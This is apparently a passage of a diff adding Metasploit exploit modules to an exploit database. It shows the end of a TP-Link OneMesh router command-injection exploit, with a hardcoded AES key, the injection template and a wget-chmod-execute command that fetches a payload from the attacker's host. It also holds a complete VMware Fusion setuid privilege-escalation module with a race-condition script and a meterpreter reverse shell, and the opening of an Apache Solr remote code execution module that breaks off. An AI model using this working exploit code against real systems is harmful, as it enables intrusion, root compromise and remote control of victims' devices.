0x5e, 0xd5, 0x60, 0x41, 0xe4, 0xa2, 0x67, 0x71, 0x72, 0x3c, 0x03, 0xe4, 0xd1, 0x4b,
|
||||
0x04, 0xd4, 0x47, 0xd2, 0x0d, 0x85, 0xfd, 0xa5, 0x0a, 0xb5, 0x6b, 0x35, 0xb5, 0xa8,
|
||||
0xfa, 0x42, 0xb2, 0x98, 0x6c, 0xdb, 0xbb, 0xc9, 0xd6, 0xac, 0xbc, 0xf9, 0x40, 0x32,
|
||||
0xd8, 0x6c, 0xe3, 0x45, 0xdf, 0x5c, 0x75, 0xdc, 0xd6, 0x0d, 0xcf, 0xab, 0xd1, 0x3d,
|
||||
0x59, 0x26, 0xd9, 0x30, 0xac, 0x51, 0xde, 0x00, 0x3a, 0xc8, 0xd7, 0x51, 0x80, 0xbf,
|
||||
0xd0, 0x61, 0x16, 0x21, 0xb4, 0xf4, 0xb5, 0x56, 0xb3, 0xc4, 0x23, 0xcf, 0xba, 0x95,
|
||||
0x99, 0xb8, 0xbd, 0xa5, 0x0f, 0x28, 0x02, 0xb8, 0x9e, 0x5f, 0x05, 0x88, 0x08, 0xc6,
|
||||
0x0c, 0xd9, 0xb2, 0xb1, 0x0b, 0xe9, 0x24, 0x2f, 0x6f, 0x7c, 0x87, 0x58, 0x68, 0x4c,
|
||||
0x11, 0xc1, 0x61, 0x1d, 0xab, 0xb6, 0x66, 0x2d, 0x3d, 0x76, 0xdc, 0x41, 0x90, 0x01,
|
||||
0xdb, 0x71, 0x06, 0x98, 0xd2, 0x20, 0xbc, 0xef, 0xd5, 0x10, 0x2a, 0x71, 0xb1, 0x85,
|
||||
0x89, 0x06, 0xb6, 0xb5, 0x1f, 0x9f, 0xbf, 0xe4, 0xa5, 0xe8, 0xb8, 0xd4, 0x33, 0x78,
|
||||
0x07, 0xc9, 0xa2, 0x0f, 0x00, 0xf9, 0x34, 0x96, 0x09, 0xa8, 0x8e, 0xe1, 0x0e, 0x98,
|
||||
0x18, 0x7f, 0x6a, 0x0d, 0xbb, 0x08, 0x6d, 0x3d, 0x2d, 0x91, 0x64, 0x6c, 0x97, 0xe6,
|
||||
0x63, 0x5c, 0x01, 0x6b, 0x6b, 0x51, 0xf4, 0x1c, 0x6c, 0x61, 0x62, 0x85, 0x65, 0x30,
|
||||
0xd8, 0xf2, 0x62, 0x00, 0x4e, 0x6c, 0x06, 0x95, 0xed, 0x1b, 0x01, 0xa5, 0x7b, 0x82,
|
||||
0x08, 0xf4, 0xc1, 0xf5, 0x0f, 0xc4, 0x57, 0x65, 0xb0, 0xd9, 0xc6, 0x12, 0xb7, 0xe9,
|
||||
0x50, 0x8b, 0xbe, 0xb8, 0xea, 0xfc, 0xb9, 0x88, 0x7c, 0x62, 0xdd, 0x1d, 0xdf, 0x15,
|
||||
0xda, 0x2d, 0x49, 0x8c, 0xd3, 0x7c, 0xf3, 0xfb, 0xd4, 0x4c, 0x65, 0x4d, 0xb2, 0x61,
|
||||
0x58, 0x3a, 0xb5, 0x51, 0xce, 0xa3, 0xbc, 0x00, 0x74, 0xd4, 0xbb, 0x30, 0xe2, 0x4a,
|
||||
0xdf, 0xa5, 0x41, 0x3d, 0xd8, 0x95, 0xd7, 0xa4, 0xd1, 0xc4, 0x6d, 0xd3, 0xd6, 0xf4,
|
||||
0xfb, 0x43, 0x69, 0xe9, 0x6a, 0x34, 0x6e, 0xd9, 0xfc, 0xad, 0x67, 0x88, 0x46, 0xda,
|
||||
0x60, 0xb8, 0xd0, 0x44, 0x04, 0x2d, 0x73, 0x33, 0x03, 0x1d, 0xe5, 0xaa, 0x0a, 0x4c,
|
||||
0x5f, 0xdd, 0x0d, 0x7c, 0xc9, 0x50, 0x05, 0x71, 0x3c, 0x27, 0x02, 0x41, 0xaa, 0xbe,
|
||||
0x0b, 0x10, 0x10, 0xc9, 0x0c, 0x20, 0x86, 0x57, 0x68, 0xb5, 0x25, 0x20, 0x6f, 0x85,
|
||||
0xb3, 0xb9, 0x66, 0xd4, 0x09, 0xce, 0x61, 0xe4, 0x9f, 0x5e, 0xde, 0xf9, 0x0e, 0x29,
|
||||
0xd9, 0xc9, 0x98, 0xb0, 0xd0, 0x98, 0x22, 0xc7, 0xd7, 0xa8, 0xb4, 0x59, 0xb3, 0x3d,
|
||||
0x17, 0x2e, 0xb4, 0x0d, 0x81, 0xb7, 0xbd, 0x5c, 0x3b, 0xc0, 0xba, 0x6c, 0xad, 0xed,
|
||||
0xb8, 0x83, 0x20, 0x9a, 0xbf, 0xb3, 0xb6, 0x03, 0xb6, 0xe2, 0x0c, 0x74, 0xb1, 0xd2,
|
||||
0x9a, 0xea, 0xd5, 0x47, 0x39, 0x9d, 0xd2, 0x77, 0xaf, 0x04, 0xdb, 0x26, 0x15, 0x73,
|
||||
0xdc, 0x16, 0x83, 0xe3, 0x63, 0x0b, 0x12, 0x94, 0x64, 0x3b, 0x84, 0x0d, 0x6d, 0x6a,
|
||||
0x3e, 0x7a, 0x6a, 0x5a, 0xa8, 0xe4, 0x0e, 0xcf, 0x0b, 0x93, 0x09, 0xff, 0x9d, 0x0a,
|
||||
0x00, 0xae, 0x27, 0x7d, 0x07, 0x9e, 0xb1, 0xf0, 0x0f, 0x93, 0x44, 0x87, 0x08, 0xa3,
|
||||
0xd2, 0x1e, 0x01, 0xf2, 0x68, 0x69, 0x06, 0xc2, 0xfe, 0xf7, 0x62, 0x57, 0x5d, 0x80,
|
||||
0x65, 0x67, 0xcb, 0x19, 0x6c, 0x36, 0x71, 0x6e, 0x6b, 0x06, 0xe7, 0xfe, 0xd4, 0x1b,
|
||||
0x76, 0x89, 0xd3, 0x2b, 0xe0, 0x10, 0xda, 0x7a, 0x5a, 0x67, 0xdd, 0x4a, 0xcc, 0xf9,
|
||||
0xb9, 0xdf, 0x6f, 0x8e, 0xbe, 0xef, 0xf9, 0x17, 0xb7, 0xbe, 0x43, 0x60, 0xb0, 0x8e,
|
||||
0xd5, 0xd6, 0xd6, 0xa3, 0xe8, 0xa1, 0xd1, 0x93, 0x7e, 0x38, 0xd8, 0xc2, 0xc4, 0x4f,
|
||||
0xdf, 0xf2, 0x52, 0xd1, 0xbb, 0x67, 0xf1, 0xa6, 0xbc, 0x57, 0x67, 0x3f, 0xb5, 0x06,
|
||||
0xdd, 0x48, 0xb2, 0x36, 0x4b, 0xd8, 0x0d, 0x2b, 0xda, 0xaf, 0x0a, 0x1b, 0x4c, 0x36,
|
||||
0x03, 0x4a, 0xf6, 0x41, 0x04, 0x7a, 0x60, 0xdf, 0x60, 0xef, 0xc3, 0xa8, 0x67, 0xdf,
|
||||
0x55, 0x31, 0x6e, 0x8e, 0xef, 0x46, 0x69, 0xbe, 0x79, 0xcb, 0x61, 0xb3, 0x8c, 0xbc,
|
||||
0x66, 0x83, 0x1a, 0x25, 0x6f, 0xd2, 0xa0, 0x52, 0x68, 0xe2, 0x36, 0xcc, 0x0c, 0x77,
|
||||
0x95, 0xbb, 0x0b, 0x47, 0x03, 0x22, 0x02, 0x16, 0xb9, 0x55, 0x05, 0x26, 0x2f, 0xc5,
|
||||
0xba, 0x3b, 0xbe, 0xb2, 0xbd, 0x0b, 0x28, 0x2b, 0xb4, 0x5a, 0x92, 0x5c, 0xb3, 0x6a,
|
||||
0x04, 0xc2, 0xd7, 0xff, 0xa7, 0xb5, 0xd0, 0xcf, 0x31, 0x2c, 0xd9, 0x9e, 0x8b, 0x5b,
|
||||
0xde, 0xae, 0x1d, 0x9b, 0x64, 0xc2, 0xb0, 0xec, 0x63, 0xf2, 0x26, 0x75, 0x6a, 0xa3,
|
||||
0x9c, 0x02, 0x6d, 0x93, 0x0a, 0x9c, 0x09, 0x06, 0xa9, 0xeb, 0x0e, 0x36, 0x3f, 0x72,
|
||||
0x07, 0x67, 0x85, 0x05, 0x00, 0x57, 0x13, 0x95, 0xbf, 0x4a, 0x82, 0xe2, 0xb8, 0x7a,
|
||||
0x14, 0x7b, 0xb1, 0x2b, 0xae, 0x0c, 0xb6, 0x1b, 0x38, 0x92, 0xd2, 0x8e, 0x9b, 0xe5,
|
||||
0xd5, 0xbe, 0x0d, 0x7c, 0xdc, 0xef, 0xb7, 0x0b, 0xdb, 0xdf, 0x21, 0x86, 0xd3, 0xd2,
|
||||
0xd4, 0xf1, 0xd4, 0xe2, 0x42, 0x68, 0xdd, 0xb3, 0xf8, 0x1f, 0xda, 0x83, 0x6e, 0x81,
|
||||
0xbe, 0x16, 0xcd, 0xf6, 0xb9, 0x26, 0x5b, 0x6f, 0xb0, 0x77, 0xe1, 0x18, 0xb7, 0x47,
|
||||
0x77, 0x88, 0x08, 0x5a, 0xe6, 0xff, 0x0f, 0x6a, 0x70, 0x66, 0x06, 0x3b, 0xca, 0x11,
|
||||
0x01, 0x0b, 0x5c, 0x8f, 0x65, 0x9e, 0xff, 0xf8, 0x62, 0xae, 0x69, 0x61, 0x6b, 0xff,
|
||||
0xd3, 0x16, 0x6c, 0xcf, 0x45, 0xa0, 0x0a, 0xe2, 0x78, 0xd7, 0x0d, 0xd2, 0xee, 0x4e,
|
||||
0x04, 0x83, 0x54, 0x39, 0x03, 0xb3, 0xc2, 0xa7, 0x67, 0x26, 0x61, 0xd0, 0x60, 0x16,
|
||||
0xf7, 0x49, 0x69, 0x47, 0x4d, 0x3e, 0x6e, 0x77, 0xdb, 0xae, 0xd1, 0x6a, 0x4a, 0xd9,
|
||||
0xd6, 0x5a, 0xdc, 0x40, 0xdf, 0x0b, 0x66, 0x37, 0xd8, 0x3b, 0xf0, 0xa9, 0xbc, 0xae,
|
||||
0x53, 0xde, 0xbb, 0x9e, 0xc5, 0x47, 0xb2, 0xcf, 0x7f, 0x30, 0xb5, 0xff, 0xe9, 0xbd,
|
||||
0xbd, 0xf2, 0x1c, 0xca, 0xba, 0xc2, 0x8a, 0x53, 0xb3, 0x93, 0x30, 0x24, 0xb4, 0xa3,
|
||||
0xa6, 0xba, 0xd0, 0x36, 0x05, 0xcd, 0xd7, 0x06, 0x93, 0x54, 0xde, 0x57, 0x29, 0x23,
|
||||
0xd9, 0x67, 0xbf, 0xb3, 0x66, 0x7a, 0x2e, 0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,
|
||||
0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,
|
||||
0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]
|
||||
|
||||
res = 0xffffffff
|
||||
|
||||
# main checksum calculation
|
||||
packet.each_entry { |c|
|
||||
index = ((c ^ res) & 0xff) * 4
|
||||
# .reverse is needed as the target is big endian
|
||||
ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
|
||||
res = ref ^ (res >> 8)
|
||||
}
|
||||
|
||||
checksum = ~res
|
||||
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")
|
||||
|
||||
# convert back to string
|
||||
packet = packet.pack('C*').force_encoding('ascii')
|
||||
|
||||
# and replace the checksum
|
||||
packet[12] = checksum_s[0]
|
||||
packet[13] = checksum_s[1]
|
||||
packet[14] = checksum_s[2]
|
||||
packet[15] = checksum_s[3]
|
||||
|
||||
packet
|
||||
end
|
||||
|
||||
def aes_encrypt(plaintext)
|
||||
# Function encrypts perfectly 16 bytes aligned payload
|
||||
|
||||
if (plaintext.length % 16 != 0)
|
||||
return
|
||||
end
|
||||
|
||||
cipher = OpenSSL::Cipher.new 'AES-128-CBC'
|
||||
# in the original C code the key and IV are 256 bits long... but they still use AES-128
|
||||
iv = "1234567890abcdef"
|
||||
key = "TPONEMESH_Kf!xn?"
|
||||
encrypted = ''
|
||||
cipher.encrypt
|
||||
cipher.iv = iv
|
||||
cipher.key = key
|
||||
|
||||
# Take each 16 bytes block and encrypt it
|
||||
plaintext.scan(/.{1,16}/) { |block|
|
||||
encrypted += cipher.update(block)
|
||||
}
|
||||
|
||||
encrypted
|
||||
end
|
||||
|
||||
def create_injection(c)
|
||||
# Template for the command injection
|
||||
# The injection happens at "slave_mac" (read advisory for details)
|
||||
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
|
||||
|
||||
# This will fail if we send a command with single quotes (')
|
||||
# ... but that's not a problem for this module, since we don't use them for our command.
|
||||
# It might also fail with double quotes (") since this will break the JSON...
|
||||
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"
|
||||
|
||||
template = "{\"method\":\"slave_key_offer\",\"data\":{"\
|
||||
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
|
||||
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
|
||||
"\"slave_mac\":\"%{INJECTION}\","\
|
||||
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
|
||||
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
|
||||
"\"want_to_join\":false,"\
|
||||
"\"model\":\"#{rand_text_alpha(5..13)}\","\
|
||||
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
|
||||
"\"operation_mode\":\"A%{PADDING}\"}}"
|
||||
|
||||
# This is required to calculate exact template length without replace flags
|
||||
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
|
||||
# This has to be initialized to cover the situation when no padding is needed
|
||||
pad = ''
|
||||
padding = rand_text_alpha(16)
|
||||
|
||||
template_len += inject.length
|
||||
|
||||
# Calculate pad if padding is needed
|
||||
if (template_len % 16 != 0)
|
||||
pad = padding[0..15-(template_len % 16)]
|
||||
end
|
||||
|
||||
# Here the final payload is created
|
||||
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
|
||||
end
|
||||
|
||||
def update_len_field(packet, payload_length)
|
||||
new_packet = packet[0..3]
|
||||
new_packet += [payload_length].pack("S>")
|
||||
new_packet += packet[6..-1]
|
||||
end
|
||||
|
||||
def exec_cmd_file(packet)
|
||||
# This function handles special action of exec
|
||||
# Returns new complete tpdp packet
|
||||
inject = "\';sh #{@cmd_file}\'"
|
||||
payload = create_injection(inject)
|
||||
|
||||
ciphertext = aes_encrypt(payload)
|
||||
if not ciphertext
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
|
||||
end
|
||||
|
||||
new_packet = packet[0..15]
|
||||
new_packet += ciphertext
|
||||
new_packet = update_len_field(new_packet, ciphertext.length)
|
||||
|
||||
calc_checksum(new_packet.bytes)
|
||||
end
|
||||
|
||||
# Handle incoming requests from the router
|
||||
def on_request_uri(cli, request)
|
||||
print_good("#{peer} - Sending executable to the router")
|
||||
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
|
||||
send_response(cli, @payload_exe)
|
||||
@payload_sent = true
|
||||
end
|
||||
|
||||
def exploit
|
||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
|
||||
end
|
||||
|
||||
if datastore['SSL']
|
||||
fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")
|
||||
end
|
||||
|
||||
print_status("Attempting to exploit #{target.name}")
|
||||
|
||||
tpdp_packet_template =
|
||||
[0x01].pack('C*') + # packet version, fixed to 1
|
||||
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
|
||||
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
|
||||
[0x00].pack('S>*') + # packet len
|
||||
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
|
||||
[0x00].pack('C*') + # dunno what this is
|
||||
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value
|
||||
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder
|
||||
|
||||
srv_host = datastore['SRVHOST']
|
||||
srv_port = datastore['SRVPORT']
|
||||
@cmd_file = rand_text_alpha_lower(1)
|
||||
|
||||
# generate our payload executable
|
||||
@payload_exe = generate_payload_exe
|
||||
|
||||
# Command that will download @payload_exe and execute it
|
||||
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"
|
||||
|
||||
http_service = 'http://' + srv_host + ':' + srv_port.to_s
|
||||
print_status("Starting up our web service on #{http_service} ...")
|
||||
start_service({'Uri' => {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => "/#{@cmd_file}"
|
||||
}})
|
||||
|
||||
print_status("#{peer} - Connecting to the target")
|
||||
connect_udp
|
||||
|
||||
print_status("#{peer} - Sending command file byte by byte")
|
||||
print_status("#{peer} - Command: #{download_cmd}")
|
||||
mod = download_cmd.length / 5
|
||||
|
||||
download_cmd.each_char.with_index { |c, index|
|
||||
# Generate payload
|
||||
payload = create_injection(c)
|
||||
if not payload
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
|
||||
end
|
||||
|
||||
# Encrypt payload
|
||||
ciphertext = aes_encrypt(payload)
|
||||
if not ciphertext
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
|
||||
end
|
||||
|
||||
tpdp_packet = tpdp_packet_template.dup
|
||||
tpdp_packet += ciphertext
|
||||
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
|
||||
tpdp_packet = calc_checksum(tpdp_packet.bytes)
|
||||
|
||||
udp_sock.put(tpdp_packet)
|
||||
|
||||
# Sleep to make sure the payload is processed by a target
|
||||
Rex.sleep(1)
|
||||
|
||||
# Print progress
|
||||
if ((index+1) % mod == 0)
|
||||
percentage = 20 * ((index+1) / mod)
|
||||
# very advanced mathemathics in use here to show the progress bar
|
||||
print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
|
||||
if percentage == 100
|
||||
# a bit of cheating to get the last char done right
|
||||
index = -2
|
||||
end
|
||||
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
|
||||
end
|
||||
}
|
||||
|
||||
# Send the exec command. From here we should receive the connection
|
||||
print_status("#{peer} - Command file sent, attempting to execute...")
|
||||
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
|
||||
udp_sock.put(tpdp_packet)
|
||||
|
||||
timeout = 0
|
||||
while not @payload_sent
|
||||
Rex.sleep(1)
|
||||
timeout += 1
|
||||
if timeout == datastore['MAX_WAIT'].to_i
|
||||
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
|
||||
end
|
||||
end
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
240
exploits/macos/local/48337.rb
Executable file
240
exploits/macos/local/48337.rb
Executable file
|
@ -0,0 +1,240 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
|
||||
'Description' => %q(
|
||||
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
|
||||
The Open VMware USB Arbitrator Service can be launched outide of its standard path
|
||||
which allows loading of an attacker controlled binary. By creating a payload in the
|
||||
user home directory in a specific folder, and creating a hard link to the 'Open VMware
|
||||
USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
|
||||
with an effective UID of 0.
|
||||
@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
|
||||
Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die', # msf module
|
||||
'Dhanesh Kizhakkinan', # discovery
|
||||
'Rich Mirch', # edb module
|
||||
'jeffball <jeffball@dc949.org>', # 11.5.3 exploit
|
||||
'grimm'
|
||||
],
|
||||
'Platform' => [ 'osx' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2020-3950' ],
|
||||
[ 'EDB', '48235' ],
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
|
||||
[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
|
||||
[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 17 2020',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
|
||||
'WfsDelay' => 15
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options [
|
||||
OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
|
||||
]
|
||||
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
]
|
||||
end
|
||||
|
||||
def open_usb_service
|
||||
'Open VMware USB Arbitrator Service'
|
||||
end
|
||||
|
||||
def usb_service
|
||||
'VMware USB Arbitrator Service'
|
||||
end
|
||||
|
||||
def get_home_dir
|
||||
home = cmd_exec 'echo ~'
|
||||
if home.blank?
|
||||
fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
|
||||
end
|
||||
home
|
||||
end
|
||||
|
||||
def content_dir
|
||||
"#{get_home_dir}/Contents"
|
||||
end
|
||||
|
||||
def base_dir
|
||||
"#{content_dir}/Library/services/"
|
||||
end
|
||||
|
||||
def kill_process(executable)
|
||||
pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
|
||||
cmd_exec pid_kill
|
||||
end
|
||||
|
||||
def get_version
|
||||
# Thanks to @ddouhine on github for this answer!
|
||||
version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
|
||||
/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
|
||||
if version_raw.blank?
|
||||
fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'
|
||||
end
|
||||
Gem::Version.new(version)
|
||||
end
|
||||
|
||||
def pre_11_5_3
|
||||
# Upload payload executable & chmod
|
||||
payload_filename = "#{base_dir}#{usb_service}"
|
||||
print_status "Uploading Payload: #{payload_filename}"
|
||||
write_file payload_filename, generate_payload_exe
|
||||
chmod payload_filename, 0o755
|
||||
register_file_for_cleanup payload_filename
|
||||
|
||||
# create folder structure and hard link to the original binary
|
||||
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
|
||||
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
|
||||
cmd_exec "mkdir -p #{link_folder}"
|
||||
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
|
||||
print_status "Created folder (#{link_folder}) and link"
|
||||
|
||||
print_status 'Starting USB Service (5 sec pause)'
|
||||
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
|
||||
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
|
||||
Rex.sleep 5 # give time for the service to execute our payload
|
||||
print_status 'Killing service'
|
||||
cmd_exec "pkill '#{open_usb_service}'"
|
||||
print_status "Deleting #{root_link_folder}"
|
||||
rm_rf root_link_folder
|
||||
end
|
||||
|
||||
def exactly_11_5_3
|
||||
# Upload payload executable & chmod
|
||||
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
|
||||
print_status "Uploading Payload to #{payload_name}"
|
||||
write_file payload_name, generate_payload_exe
|
||||
chmod payload_name, 0o755
|
||||
#create race with codesign check
|
||||
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
|
||||
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
|
||||
print_status 'Uploading race condition executable.'
|
||||
race = <<~EOF
|
||||
#!/bin/sh
|
||||
while [ "1" = "1" ]; do
|
||||
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
|
||||
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
|
||||
done
|
||||
EOF
|
||||
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
|
||||
upload_and_chmodx racer_name, race
|
||||
register_file_for_cleanup racer_name
|
||||
register_dirs_for_cleanup root_link_folder
|
||||
# create the hard link
|
||||
print_status "Creating folder (#{link_folder}) and link"
|
||||
cmd_exec "mkdir -p #{link_folder}"
|
||||
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
|
||||
|
||||
# create the launcher to start the racer and keep launching our service to attempt to win
|
||||
launcher = <<~EOF
|
||||
#!/bin/sh
|
||||
#{racer_name} &
|
||||
for i in {1..#{datastore['MAXATTEMPTS']}}
|
||||
do
|
||||
echo "attempt $i";
|
||||
'#{link_folder}#{open_usb_service}'
|
||||
done
|
||||
EOF
|
||||
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
|
||||
upload_and_chmodx runner_name, launcher
|
||||
register_file_for_cleanup runner_name
|
||||
|
||||
print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
|
||||
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
|
||||
results = cmd_exec "#{runner_name} & :"
|
||||
Rex.sleep 15 # give time for the service to execute our payload
|
||||
vprint_status results
|
||||
|
||||
print_status 'Exploit Finished, killing scripts.'
|
||||
kill_process racer_name
|
||||
kill_process runner_name # in theory should be killed already but just in case
|
||||
kill_process "'#{link_folder}#{open_usb_service}'"
|
||||
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
|
||||
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
|
||||
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
|
||||
end
|
||||
|
||||
def check
|
||||
unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
|
||||
print_bad "'#{open_usb_service}' binary missing"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
version = get_version
|
||||
if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
|
||||
vprint_good "Vmware Fusion #{version} is exploitable"
|
||||
else
|
||||
print_bad "VMware Fusion #{version} is NOT exploitable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
# First check the system is vulnerable, or the user wants to run regardless
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
# Check if we're already root
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
|
||||
end
|
||||
end
|
||||
|
||||
# Make sure we can write our payload to the remote system
|
||||
rm_rf content_dir # live dangerously.
|
||||
if directory? content_dir
|
||||
fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."
|
||||
end
|
||||
cmd_exec "mkdir -p #{base_dir}"
|
||||
register_dirs_for_cleanup content_dir
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable."
|
||||
end
|
||||
|
||||
version = get_version
|
||||
if version == Gem::Version.new('11.5.3')
|
||||
vprint_status 'Using 11.5.3 exploit'
|
||||
exactly_11_5_3
|
||||
elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
|
||||
vprint_status 'Using pre-11.5.3 exploit'
|
||||
pre_11_5_3
|
||||
end
|
||||
rm_rf content_dir # live dangerously.
|
||||
end
|
||||
end
|
504
exploits/multiple/remote/48338.rb
Executable file
504
exploits/multiple/remote/48338.rb
Executable file
|
@ -0,0 +1,504 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
|
||||
'Description' => %q(
|
||||
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
|
||||
Velocity template. Currently, this module only supports Solr basic authentication.
|
||||
